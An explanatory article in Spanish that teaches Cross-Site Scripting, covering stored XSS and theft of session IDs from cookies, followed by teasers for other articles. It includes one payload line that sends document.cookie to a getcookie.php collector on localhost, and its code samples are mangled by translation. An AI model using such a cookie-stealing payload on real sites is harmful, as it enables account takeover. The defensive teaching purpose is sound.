
Davide Cavallini : 17 noviembre 2025 21:58
Autor : Davide Cavallini
Hoy intentaré utilizar la misma dialéctica ( como se hizo anteriormente en el artículo sobre inyección SQL ) y explicar de forma sencilla qué es el Cross-Site Scripting.
El Cross-Site Scripting, también conocido como XSS, es un tipo de ataque que no se dirige al servidor, como las inyecciones SQL, sino al cliente. Se trata de un ataque basado en JavaScript que se ejecuta en el navegador del usuario ( Chrome, Firefox, Internet Explorer, etc. ) al visitar un sitio web.
Esto puede parecer un tipo de ataque inútil, ya que el navegador cuenta con varias protecciones que resguardan la lectura de archivos locales y previenen diversas acciones inseguras.
Sin embargo, esto es completamente erróneo. De hecho , el Cross-Site Scripting puede convertirse en un ataque realmente peligroso, y con eso quiero decir que puede ser tan peligroso como los ataques directos a los servidores.
Un ejemplo típico de XSS implica el robo del ID de sesión que se encuentra dentro de la cookie.
Vale, te preguntarás, ¿pero cómo funciona? Intentaré explicarlo de forma sencilla, empezando por la estructura básica de una página HTML.
Una página HTML no es más que una emulación de una página impresa real —una vez renderizada—, como la de un libro. Por lo tanto, contendrá algunos elementos estructurales de las páginas, tales como:
Obviamente, para poder formatear todo esto adecuadamente, existe un código que el navegador no muestra, pero que se «interpreta» para mostrar la página de forma clara e intuitiva.
Este código permite a quienes crean la página HTML utilizar una serie de «etiquetas» o abreviaturas, que se utilizan para insertar estos elementos estructurales dentro de la página.
Por ejemplo:
contenido
Una vez finalizado el período «jurásico» de la web, cuando las páginas HTML eran estáticas (web 1.0), pasamos a utilizar código adicional para hacerlas dinámicas.
Una parte muy importante de una página HTML, que le confiere su llamado «dinamismo», es JavaScript, que se encuentra dentro de la etiqueta .
Estos scripts, que se ejecutan en el navegador del usuario, son programas que dan diversas instrucciones a la página. Pueden animar la página, enviar datos estadísticos a servidores propios o externos mediante llamadas HTTP, geolocalizar al usuario y realizar muchas otras funciones, desde la gestión de cookies hasta la creación de videojuegos completos.
Un ejemplo clásico de código JavaScript es el siguiente:
alerta("este es un aviso que aparece en la página");
Las cookies, por otro lado, son simples archivos de texto que se almacenan en el navegador y que se utilizan para mantener la persistencia de cierta información del usuario.
La página HTML puede tener características que una hoja de cálculo no puede tener, como un cuadro para escribir un comentario debajo de una publicación, al igual que los foros clásicos.
Así pues, después de escribir un comentario en este cuadro y hacer clic en «enviar», el contenido que haya escrito será procesado por el servidor y se convertirá en el contenido de la propia página.
Es aquí donde, si el código no se desarrolla correctamente, se manifiesta el «XSS almacenado» más letal, es decir, JavaScript malicioso que permanece guardado dentro de la página.
Un ejemplo típico de un script XSS es el que mencioné anteriormente que roba identificadores de sesión.
El ID de sesión no es más que una cadena aleatoria de muchos caracteres que se asocia de forma única a cada usuario que inicia sesión en el área de clientes, y sirve para recordarle al servidor que el usuario siempre es él o ella cada vez que cambia de página.
El ID de sesión se almacena dentro de la cookie en un formato similar a este:
PHPSESSID=836383abt6393736hdv38ndhDado que JavaScript puede manipular las cookies, estos scripts XSS maliciosos pueden obtener el ID de sesión y enviarlo mediante una llamada HTTP al servidor del atacante.
Así, cuando el administrador del foro inicia sesión en su área de administración y accede a la página donde otro usuario ha publicado un XSS almacenado, sin saberlo le pasará el ID de sesión al hacker, quien lo guardará en su cookie y se convertirá él mismo en el administrador (como si hubiera robado el ID).
Resumen del ataque anterior:
Por lo tanto, nunca debes subestimar este tipo de ataque.
Veamos ahora otro ejemplo y supongamos que tenemos un área de texto para comentar una publicación donde insertaremos el siguiente código:
obtener('http://localhost/getcookie.php?c='+document.cookie.toString())

La mejor manera de protegerse es utilizar métodos de autenticación seguros (por ejemplo, Liveuser en PHP), establecer atributos en la cookie como httpOnly, que la hace inaccesible desde JavaScript, y, sobre todo, filtrar los datos de entrada con funciones que se encuentran en muchas bibliotecas especiales creadas específicamente para limitar este tipo de ataque.

El software espía (también conocido como aplicaciones espía) representa una de las amenazas más insidiosas y peligrosas de la era digital. Se trata de programas maliciosos diseñados para infiltra...

Google se acerca a la presentación oficial de Gemini 3.0 , el nuevo modelo de inteligencia artificial que representa uno de los pasos más significativos en la estrategia de la compañía. Según inf...

La búsqueda de la inmortalidad es una obsesión generalizada en Silicon Valley. Asimismo, la idea de perfeccionar a los niños mediante la modificación genética es otra. Sam Altman, el hombre que p...

El quishing es una forma emergente de ciberataque que combina el phishing tradicional con el uso de códigos QR , herramientas ya conocidas por muchos. El término « quishing » es una combinación d...

Las operaciones psicológicas, comúnmente conocidas como PsyOps, constituyen un elemento significativo y a menudo poco comprendido de la estrategia militar y de seguridad . Estas operaciones implican...